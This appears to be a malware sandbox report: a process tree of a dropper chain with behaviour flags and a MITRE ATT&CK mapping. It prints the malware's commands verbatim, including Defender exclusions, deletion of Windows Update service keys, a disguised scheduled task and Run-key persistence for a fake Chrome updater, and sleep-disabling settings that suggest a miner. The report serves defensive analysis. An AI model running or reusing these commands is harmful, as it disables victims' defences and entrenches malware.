- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4192

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd8,0x104,0x7ffe999d46f8,0x7ffe999d4708,0x7ffe999d4718
4⤵
PID:4204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
4⤵
PID:5092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4748

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2868 /prefetch:8
4⤵
PID:468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3856 /prefetch:1
4⤵
PID:3972

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3868 /prefetch:1
4⤵
PID:4700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5332 /prefetch:8
4⤵
PID:2704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
4⤵
PID:2748

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5900 /prefetch:1
4⤵
PID:2864

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
4⤵
PID:5060

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3916 /prefetch:8
4⤵
PID:3068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5788 /prefetch:1
4⤵
PID:4880

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6176 /prefetch:1
4⤵
PID:3180

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
4⤵
PID:4400

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
4⤵
- Drops file in Program Files directory
PID:492

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1f8,0x22c,0x7ff6322d5460,0x7ff6322d5470,0x7ff6322d5480
5⤵
PID:852

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1820

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1888 /prefetch:8
4⤵
PID:3652

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3164 /prefetch:8
4⤵
PID:5200

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3136 /prefetch:8
4⤵
PID:5264

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2784 /prefetch:8
4⤵
PID:5596

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1700 /prefetch:8
4⤵
PID:5644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1120 /prefetch:8
4⤵
PID:5728

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3192 /prefetch:8
4⤵
PID:5820

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
4⤵
PID:5972

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,3811374690948016637,8567862023479583635,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5044 /prefetch:2
4⤵
PID:6548

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\se21t2up.vbs"
3⤵
- Blocklisted process makes network request
PID:3692

C:\Users\Admin\AppData\Local\Temp\setu2p.exe
"C:\Users\Admin\AppData\Local\Temp\setu2p.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
4⤵
PID:4980

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
PID:2816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
6⤵
PID:1692

C:\Windows\system32\sc.exe
sc stop UsoSvc
7⤵
- Launches sc.exe
PID:3440

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
7⤵
- Launches sc.exe
PID:4692

C:\Windows\system32\sc.exe
sc stop wuauserv
7⤵
- Launches sc.exe
PID:4332

C:\Windows\system32\sc.exe
sc stop bits
7⤵
- Launches sc.exe
PID:4772

C:\Windows\system32\sc.exe
sc stop dosvc
7⤵
- Launches sc.exe
PID:4320

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
7⤵
PID:4288

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
7⤵
PID:3012

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
7⤵
- Modifies security service
- Suspicious use of AdjustPrivilegeToken
PID:3816

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
7⤵
PID:4332

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
7⤵
PID:4496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:720

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
6⤵
PID:4148

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3052

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
7⤵
PID:3816

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#hyrgjwg#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
6⤵
PID:2300

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
7⤵
PID:5068

C:\Users\Admin\AppData\Local\Temp\setup12.exe
"C:\Users\Admin\AppData\Local\Temp\setup12.exe"
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3136

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
6⤵
- Creates scheduled task(s)
PID:4196

C:\Users\Admin\AppData\Local\Temp\setup1232.exe
"C:\Users\Admin\AppData\Local\Temp\setup1232.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4856

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:2580

C:\Users\Admin\AppData\Local\Temp\watchdog.exe
"C:\Users\Admin\AppData\Local\Temp\watchdog.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3012

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
6⤵
PID:105948

C:\Users\Admin\AppData\Local\Temp\ChomiumPath.exe
"C:\Users\Admin\AppData\Local\Temp\ChomiumPath.exe"
7⤵
- Executes dropped EXE
PID:4092

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C schtasks /create /tn \qnme49ij0f /tr "C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
8⤵
PID:3912

C:\Windows\system32\schtasks.exe
schtasks /create /tn \qnme49ij0f /tr "C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
9⤵
- Creates scheduled task(s)
PID:5148

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4880

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2568

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:106128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:106328

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:106304

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:105956

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:1084

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2764

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:5112

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:106292

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:106492

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3752

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1736

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:5100

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:996

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:2024

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4736

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:3136

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1660

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1116

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe sqolsuydhn
2⤵
PID:4740

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:720

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1692

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:5068

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe yaiuavjrxlzbmxlm GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1gPpwmfG4wZ3KDbx5PuSQNfaXWXA/ZHUajSlAeIWD5N6
2⤵
PID:3512

C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe
C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe
1⤵
- Executes dropped EXE
PID:5304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion